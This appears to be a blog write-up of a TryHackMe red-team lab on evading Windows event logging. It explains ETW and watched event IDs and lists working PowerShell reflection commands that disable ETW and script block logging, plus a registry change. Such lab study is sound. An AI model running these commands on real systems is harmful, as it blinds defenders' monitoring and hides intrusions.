Clearing Tracks in Windows | TryHackMe Evading Logging & Monitoring

We covered techniques and methods in clearing tracks and evading Windows event logging. First we explained the components of Event Tracing in Windows such as event controllers, providers and consumers. Using Powershell reflection we demonstrated completely disabling event tracing and disabling powershell logging through group policy object. This was part of TryHackMe Evading Logging & Monitoring which is part of red team pathway.

Understanding Windows Event Logging

The video explained that event logging primarily happens in two scenarios:

• Local Logging: This is when event logs are stored directly on the compromised machine.
• Centralized Logging: Here, logs are not only stored locally but also forwarded to a central server, like a SIEM solution (e.g., Splunk) or a Syslog server.

A key takeaway for me was that simply clearing logs is often ineffective if they’re being forwarded centrally, because those commands would have already been sent to the central server. The more effective strategy, I learned, is to disable logging altogether.

The Core of Windows Logging: ETW

The video introduced me to ETW (Event Tracing for Windows), which is the fundamental mechanism Windows uses for event logging. I learned that ETW has three main components:

• Event Controller: This manages and configures events, handling things like log file size and enabling or disabling logging.
• Event Providers: These are the applications that actually generate the logs, such as PowerShell or Sysmon.
• Event Consumers: These are the tools I’d use to view the logs, like the Event Viewer.

Important Event IDs to Watch Out For

I was made aware of several critical Event IDs that blue teams often monitor:

• 1102: Indicates that the Windows security audit log was cleared.
• 104: Shows that a log file was cleared.
• 1100: Signifies that the Windows Event Log service was shut down.
• 4104: Logs PowerShell script block execution.
• 4103: (Implied) Often associated with PowerShell command invocation.

The video strongly advised against actions that trigger Event IDs 1102, 104, and 1100, as these are major red flags. Instead, the focus was on disabling the generation of PowerShell-related event IDs, particularly 4104.

Methods to Disable Event Tracing (ETW)

I learned about two primary methods to disable ETW, both leveraging PowerShell reflection:

1. PowerShell Reflection Attack (Direct ETW Manipulation): This method involves using PowerShell’s reflection capabilities to directly interact with and modify the system assemblies responsible for ETW. The goal is to find the PSEtwLogProvider assembly and set a specific field (like etwProvider or m_enabled) to zero or null, effectively disabling logging.
2. PowerShell Reflection through Group Policy Editor: This technique also uses PowerShell reflection but targets the cached Group Policy settings related to PowerShell logging. The aim is to modify these settings to disable script block logging and module logging for PowerShell. This essentially involves changing specific registry values that control PowerShell script block logging.

The video below demonstrated both methods, showing how to check the number of existing 4104 events before and after applying these techniques to confirm that logging had been successfully disabled. It also mentioned that executing individual commands for the Group Policy method might not always work, and a consolidated script (like the GPO_Bypass script mentioned) is often more reliable.

Technical Commands I Saw in the Terminal:

The video showed various PowerShell commands and general terminal interactions. Here are the key technical commands and concepts I picked up:

• Checking Event ID 4104 Count: I saw a command similar to: Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';ID=4104} | Measure-Object | Select-Object -ExpandProperty Count This helps confirm if PowerShell script block logging is active.
• Basic PowerShell Test Command: whoami This simple command was used to generate a PowerShell event to test if logging was still occurring.
• PowerShell Reflection Commands (Direct ETW Disablement): I observed commands designed to manipulate ETW directly:
  • $LogProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') (To get a reference to the ETW log provider)
  • $EtwProvider = $LogProvider.GetField('etwProvider','NonPublic,Static').GetValue($null) (To get the actual ETW provider object)
  • $EtwProvider.GetType().GetField('m_enabled','NonPublic,Instance').SetValue($EtwProvider,0) (To set the m_enabled field to 0, effectively disabling it)
  • Echo $LogProvider and Echo $EtwProvider (For inspecting the objects)
• General Terminal Commands for Testing: dir cd desktop These were used to demonstrate that even basic commands might not be logged after the bypass.
• PowerShell Reflection Commands (Group Policy Disablement): I saw commands aimed at modifying cached Group Policy settings:
  • $GroupPolicySettings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static').GetValue($null) (To access the cached Group Policy settings)
  • $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0 (To disable script block logging)
  • $GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0 (To disable script block invocation logging)
  • The video also implied that a script would set registry values like: New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
• Executing Bypass Scripts/Executables: .\GPO_Bypass.ps1 (To run a pre-made PowerShell script for GPO bypass) .\validation.exe (To run an executable to validate the bypass)

Room Answers

Video Walkthrough